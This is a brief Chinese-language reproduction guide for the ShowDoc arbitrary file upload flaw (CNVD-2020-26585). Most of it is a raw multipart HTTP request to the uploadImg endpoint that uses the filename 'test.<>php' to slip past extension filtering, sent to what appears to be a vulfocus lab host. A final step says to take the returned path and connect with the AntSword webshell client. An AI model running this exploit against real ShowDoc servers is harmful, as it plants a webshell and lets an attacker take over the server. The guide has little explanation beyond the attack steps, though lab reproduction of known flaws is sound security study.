showdoc 文件上传 （CNVD-2020-26585）漏洞复现

1.漏洞描述

        ShowDoc一个非常适合IT团队的在线API文档、技术文档工具。 api_page存在任意文件上传。

2.打开页面直接抓包后改包

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POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain


----------------------------921378126371623762173617--

3.通过回包可以看到文件地址，直接蚁剑连接。